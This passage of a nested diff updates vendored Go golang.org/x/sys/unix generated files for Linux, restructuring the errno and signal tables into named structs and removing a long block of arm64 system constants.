-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go
-index c0ecd47c..9ee8d1bc 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go
-@@ -3,7 +3,7 @@
-
- // +build arm64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char _const.go
-
- package unix
-@@ -11,1858 +11,480 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ESR_MAGIC = 0x45535201
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0x5
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
